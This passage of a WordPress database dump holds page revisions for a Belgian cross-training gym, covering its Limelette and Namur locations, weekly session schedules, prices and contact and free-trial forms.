frameborder=\&quot;0\&quot;&gt;&lt;/iframe&gt;\r\n\r\n&lt;/div&gt;\r\n\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/table&gt;', 'En images', '', 'inherit', 'open', 'open', '', '369-revision-v1', '', '', '2013-11-04 17:25:41', '2013-11-04 17:25:41', '', 369, 'http://www.crosstrainingcenter.be/369-revision-v1/', 0, 'revision', '', 0),
(371, 1, '2013-11-04 17:26:03', '2013-11-04 17:26:03', ' ', '', '', 'publish', 'open', 'open', '', '371', '', '', '2015-04-21 08:50:04', '2015-04-21 08:50:04', '', 0, 'http://www.crosstrainingcenter.be/?p=371', 5, 'nav_menu_item', '', 0),
(372, 1, '2013-11-04 17:27:40', '2013-11-04 17:27:40', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%; text-align: center;\&quot;&gt;\r\n&lt;h1&gt;Limelette&lt;/h1&gt;\r\n&lt;iframe src=\&quot;https://maps.google.be/maps?f=q&amp;amp;source=s_q&amp;amp;hl=fr&amp;amp;geocode=&amp;amp;q=Avenue+L%C3%A9on+Fournet,+20+-+Limelette+1342&amp;amp;aq=&amp;amp;sll=50.484709,4.855099&amp;amp;sspn=0.050462,0.077162&amp;amp;gl=be&amp;amp;ie=UTF8&amp;amp;hq=&amp;amp;hnear=Avenue+L%C3%A9on+Fournet+20,+1342+Ottignies-Louvain-la-Neuve,+Brabant+Wallon,+R%C3%A9gion+wallonne&amp;amp;t=m&amp;amp;ll=50.676229,4.582672&amp;amp;spn=0.032635,0.051498&amp;amp;z=13&amp;amp;iwloc=A&amp;amp;output=embed\&quot; height=\&quot;300\&quot; width=\&quot;300\&quot; frameborder=\&quot;0\&quot; marginwidth=\&quot;0\&quot; marginheight=\&quot;0\&quot; scrolling=\&quot;no\&quot;&gt;&lt;/iframe&gt;\r\n\r\n&lt;address&gt;Club Justine Henin\r\nAvenue Léon Fournet, 20\r\n1342 Limelette&lt;/address&gt;&lt;a href=\&quot;mailto:info@crosstrainingcenter.be\&quot;&gt;info@crosstrainingcenter.be&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%; text-align: center;\&quot;&gt;\r\n&lt;h1&gt;Namur&lt;/h1&gt;\r\n&lt;iframe src=\&quot;https://maps.google.be/maps?q=Chauss%C3%A9e+de+Perwez+251+5002+Namur&amp;amp;ie=UTF8&amp;amp;hq=&amp;amp;hnear=Chauss%C3%A9e+de+Perwez+251,+Saint-Servais+5002&amp;amp;gl=be&amp;amp;t=m&amp;amp;ll=50.472583,4.860764&amp;amp;spn=0.065552,0.102997&amp;amp;z=12&amp;amp;iwloc=A&amp;amp;output=embed\&quot; height=\&quot;300\&quot; width=\&quot;300\&quot; frameborder=\&quot;0\&quot; marginwidth=\&quot;0\&quot; marginheight=\&quot;0\&quot; scrolling=\&quot;no\&quot;&gt;&lt;/iframe&gt;\r\n\r\n&lt;address&gt;Bowling et Squash de Namur\r\nChaussée de Perwez, 251\r\n5002 Namur&lt;/address&gt;&lt;address&gt;&lt;a href=\&quot;mailto:info@crosstrainingcenter.be\&quot;&gt;info@crosstrainingcenter.be&lt;/a&gt;&lt;/address&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%; text-align: center;\&quot;&gt;\r\n&lt;h1&gt;&amp;nbsp;&lt;/h1&gt;\r\n&lt;h1&gt;Laissez-nous un message :&lt;/h1&gt;\r\n[contact-form-7 id=\&quot;257\&quot; title=\&quot;Contact form 1\&quot;]\r\n&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%; text-align: center;\&quot;&gt;\r\n&lt;h1&gt;&amp;nbsp;&lt;/h1&gt;\r\n&lt;h1&gt;Prise de RDV :&lt;/h1&gt;\r\nLes prises de RDV pour les séances de\r\nTeam Training, Duo Training, Personnal\r\nTraining ou Coaching nutritionnel se\r\nfont exclusivement par téléphone.\r\n0485 / 92 . 02 . 12\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h1 style=\&quot;text-align: center;\&quot;&gt;&lt;/h1&gt;', 'Contact', '', 'inherit', 'open', 'open', '', '9-revision-v1', '', '', '2013-11-04 17:27:40', '2013-11-04 17:27:40', '', 9, 'http://www.crosstrainingcenter.be/9-revision-v1/', 0, 'revision', '', 0),
(373, 1, '2013-11-04 17:37:10', '2013-11-04 17:37:10', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenu\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\n&lt;a title=\&quot;Les séances – Namur\&quot; href=\&quot;http://www.crosstrainingcenter.be/les-seances-namur/\&quot;&gt;Namur&lt;/a&gt;\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenu\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\n&lt;a title=\&quot;Les séances – Limelette\&quot; href=\&quot;http://www.crosstrainingcenter.be/les-seances-limelette/\&quot;&gt;Limelette&lt;/a&gt;\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h1&gt;&amp;nbsp;&lt;/h1&gt;\r\n&lt;h1&gt;&amp;nbsp;&lt;/h1&gt;\r\n&lt;h1 style=\&quot;text-align: center;\&quot;&gt;Choix d\'une salle&lt;/h1&gt;\r\n&lt;img class=\&quot;size-full wp-image-446 aligncenter\&quot; alt=\&quot;map\&quot; src=\&quot;http://www2.crosstrainingcenter.be/wp-content/uploads/2013/11/map.png\&quot; usemap=\&quot;#imagemap\&quot; width=\&quot;300\&quot; height=\&quot;236\&quot; /&gt;\r\n\r\n&lt;map id=\&quot;Map\&quot; name=\&quot;imagemap\&quot;&gt; &lt;area coords=\&quot;90,84,166,108\&quot; shape=\&quot;namur\&quot; href=\&quot;http://www.crosstrainingcenter.be/les-seances-limelette/\&quot;\&quot; /&gt; &lt;area coords=\&quot;174,121,233,132\&quot; shape=\&quot;limelette\&quot; href=\&quot;http://www.crosstrainingcenter.be/les-seances-namur/\&quot; /&gt; &lt;/map&gt;', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-11-04 17:37:10', '2013-11-04 17:37:10', '', 11, 'http://www.crosstrainingcenter.be/11-revision-v1/', 0, 'revision', '', 0),
(374, 1, '2013-11-04 17:37:32', '2013-11-04 17:37:32', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenu\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\n&lt;a title=\&quot;Les séances – Namur\&quot; href=\&quot;http://www.crosstrainingcenter.be/les-seances-namur/\&quot;&gt;Namur&lt;/a&gt;\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenu\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\n&lt;a title=\&quot;Les séances – Limelette\&quot; href=\&quot;http://www.crosstrainingcenter.be/les-seances-limelette/\&quot;&gt;Limelette&lt;/a&gt;\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h1&gt;&amp;nbsp;&lt;/h1&gt;\r\n&lt;h1&gt;&amp;nbsp;&lt;/h1&gt;\r\n&lt;h1 style=\&quot;text-align: center;\&quot;&gt;Choix d\'une salle&lt;/h1&gt;\r\n&lt;img class=\&quot;size-full wp-image-446 aligncenter\&quot; alt=\&quot;map\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/11/map.png\&quot; usemap=\&quot;#imagemap\&quot; width=\&quot;300\&quot; height=\&quot;236\&quot; /&gt;\r\n\r\n&lt;map id=\&quot;Map\&quot; name=\&quot;imagemap\&quot;&gt; &lt;area coords=\&quot;90,84,166,108\&quot; shape=\&quot;namur\&quot; href=\&quot;http://www.crosstrainingcenter.be/les-seances-limelette/\&quot;\&quot; /&gt; &lt;area coords=\&quot;174,121,233,132\&quot; shape=\&quot;limelette\&quot; href=\&quot;http://www.crosstrainingcenter.be/les-seances-namur/\&quot; /&gt; &lt;/map&gt;', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-11-04 17:37:32', '2013-11-04 17:37:32', '', 11, 'http://www.crosstrainingcenter.be/11-revision-v1/', 0, 'revision', '', 0),
(375, 1, '2013-11-04 17:38:19', '2013-11-04 17:38:19', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenu\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\n&lt;a title=\&quot;Les séances – Namur\&quot; href=\&quot;http://www.crosstrainingcenter.be/les-seances-namur/\&quot;&gt;Namur&lt;/a&gt;\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenu\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\n&lt;a title=\&quot;Les séances – Limelette\&quot; href=\&quot;http://www.crosstrainingcenter.be/les-seances-limelette/\&quot;&gt;Limelette&lt;/a&gt;\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h1&gt;&amp;nbsp;&lt;/h1&gt;\r\n&lt;h1&gt;&amp;nbsp;&lt;/h1&gt;\r\n&lt;h1 style=\&quot;text-align: center;\&quot;&gt;Choix d\'une salle&lt;/h1&gt;\r\n&lt;img class=\&quot;size-full wp-image-446 aligncenter\&quot; alt=\&quot;map\&quot; src=\&quot;http://www.crosstrainingcenter.be/map.png\&quot; usemap=\&quot;#imagemap\&quot; width=\&quot;300\&quot; height=\&quot;236\&quot; /&gt;\r\n\r\n&lt;map id=\&quot;Map\&quot; name=\&quot;imagemap\&quot;&gt; &lt;area coords=\&quot;90,84,166,108\&quot; shape=\&quot;namur\&quot; href=\&quot;http://www.crosstrainingcenter.be/les-seances-limelette/\&quot;\&quot; /&gt; &lt;area coords=\&quot;174,121,233,132\&quot; shape=\&quot;limelette\&quot; href=\&quot;http://www.crosstrainingcenter.be/les-seances-namur/\&quot; /&gt; &lt;/map&gt;', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-11-04 17:38:19', '2013-11-04 17:38:19', '', 11, 'http://www.crosstrainingcenter.be/11-revision-v1/', 0, 'revision', '', 0),
(376, 1, '2013-11-04 17:38:55', '2013-11-04 17:38:55', '&lt;h2&gt;Prix&lt;/h2&gt;\r\n&lt;table&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 9.00€\r\n1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 6 mois illimité : 399.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€\r\nSuivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Prix', '', 'inherit', 'open', 'open', '', '214-revision-v1', '', '', '2013-11-04 17:38:55', '2013-11-04 17:38:55', '', 214, 'http://www.crosstrainingcenter.be/214-revision-v1/', 0, 'revision', '', 0),
(377, 1, '2013-11-04 17:38:55', '2013-11-04 17:38:55', '&lt;blockquote&gt;\r\n&lt;h1&gt;Envie de vous essayer au cross training?&lt;/h1&gt;\r\n&lt;/blockquote&gt;\r\nVenez nous rencontrer afin de découvrir le déroulement d\'une séance de cross training.\r\n\r\nLaissez-nous vos coordonnées et nous vous recontacterons afin de planifier avec vous votre première séance gratuite.\r\n\r\n[contact-form-7 id=\&quot;265\&quot; title=\&quot;Seance_gratuite\&quot;]', 'Séance gratuite', '', 'inherit', 'open', 'open', '', '266-revision-v1', '', '', '2013-11-04 17:38:55', '2013-11-04 17:38:55', '', 266, 'http://www.crosstrainingcenter.be/266-revision-v1/', 0, 'revision', '', 0),
(378, 1, '2013-11-04 17:39:40', '2013-11-04 17:39:40', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenuhoover\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\nNamur\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenu\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\n&lt;a title=\&quot;Les séances – Limelette\&quot; href=\&quot;http://www2.crosstrainingcenter.be/les-seances-limelette/\&quot;&gt;Limelette&lt;/a&gt;\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h1&gt;&amp;nbsp;&lt;/h1&gt;\r\n&lt;h1&gt;Team Training - Namur :&lt;/h1&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 pers.). Nous vous proposons 4 types de séances décrites ci-dessous\r\n\r\n&amp;nbsp;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;SAMEDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;DIMANCHE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;18h&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;18h&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nGLFE&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;11h&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;11h&lt;/b&gt;\r\nGLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;18h30&lt;/b&gt;\r\nGLFE&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;18h30&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nGLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;11h30&lt;/b&gt;\r\nGLFE&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;11h30&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;\r\nGLFE&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;12h&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;12h&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h30&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\nGLFE&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;19h15&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&amp;nbsp;\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #F2F5A9;\&quot;&gt;&lt;strong&gt;TRX :&lt;/strong&gt;&lt;/span&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #E6E6E6;\&quot;&gt;&lt;strong&gt;Circuit GLFE :&lt;/strong&gt;&lt;/span&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline; background: #A9F5A9;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issus de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline; background: #A9F5F2;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !\r\n&lt;h1&gt;&amp;nbsp;&lt;/h1&gt;\r\n&lt;h2&gt;Duo Training - Namur :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www2.crosstrainingcenter.be/contact-2/\&quot; target=\&quot;_blank\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nEntrainements à deux personnes sous la supervision d’un coach.\r\n&lt;h1&gt;&amp;nbsp;&lt;/h1&gt;\r\n&lt;h2&gt;Personal Training - Namur :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www2.crosstrainingcenter.be/contact-2/\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nUn coach par personne, l’idéal pour progresser plus rapidement!\r\n&lt;h1&gt;&amp;nbsp;&lt;/h1&gt;\r\n&lt;h2&gt;Coaching nutritionnel - Namur :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www2.crosstrainingcenter.be/contact-2/\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nRendez-vous avec une diététicienne pour améliorer votre santé.\r\n&lt;h1&gt;&amp;nbsp;&lt;/h1&gt;\r\n&lt;h2&gt;Prix&lt;/h2&gt;\r\n&lt;table&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Team Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 9.00€\r\n1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 6 mois illimité : 399.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€\r\nSuivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Les séances - Namur', '', 'inherit', 'open', 'open', '', '363-revision-v1', '', '', '2013-11-04 17:39:40', '2013-11-04 17:39:40', '', 363, 'http://www.crosstrainingcenter.be/363-revision-v1/', 0, 'revision', '', 0),
(379, 1, '2013-11-04 17:41:06', '2013-11-04 17:41:06', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenu\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\n&lt;a title=\&quot;Les séances – Namur\&quot; href=\&quot;http://www2.crosstrainingcenter.be/les-seances/\&quot;&gt;Namur&lt;/a&gt;\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenuhoover\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\nLimelette\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h1&gt;&amp;nbsp;&lt;/h1&gt;\r\n&lt;h1&gt;Team Training - Limelette :&lt;/h1&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 pers.). Nous vous proposons 4 types de séances décrites ci-dessous\r\n\r\n&amp;nbsp;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;18h&lt;/b&gt;\r\nRenforcement musculaire&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;&lt;/b&gt;18h\r\nCardio&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;18h&lt;/b&gt;\r\nCircuit training&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nRenforcement musculaire&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;18h45&lt;/b&gt;\r\nCircuit training&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;18h45&lt;/b&gt;\r\nRenforcement musculaire&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;18h45&lt;/b&gt;\r\nCardio&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nCircuit training&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h30&lt;/b&gt;\r\nCardio&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;19h30&lt;/b&gt;\r\nCircuit training&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;19h30&lt;/b&gt;\r\nRenforcement musculaire&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;\r\nCardio&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&amp;nbsp;\r\n\r\n&lt;h1&gt;&amp;nbsp;&lt;/h1&gt;\r\n&lt;h2&gt;Duo Training - Limelette :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nEntrainements à deux personnes sous la supervision d’un coach.\r\n&lt;h1&gt;&amp;nbsp;&lt;/h1&gt;\r\n&lt;h2&gt;Personal Training - Limelette :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nUn coach par personne, l’idéal pour progresser plus rapidement!\r\n&lt;h1&gt;&amp;nbsp;&lt;/h1&gt;\r\n&lt;h2&gt;Coaching nutritionnel - Limelette :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nRendez-vous avec une diététicienne pour améliorer votre 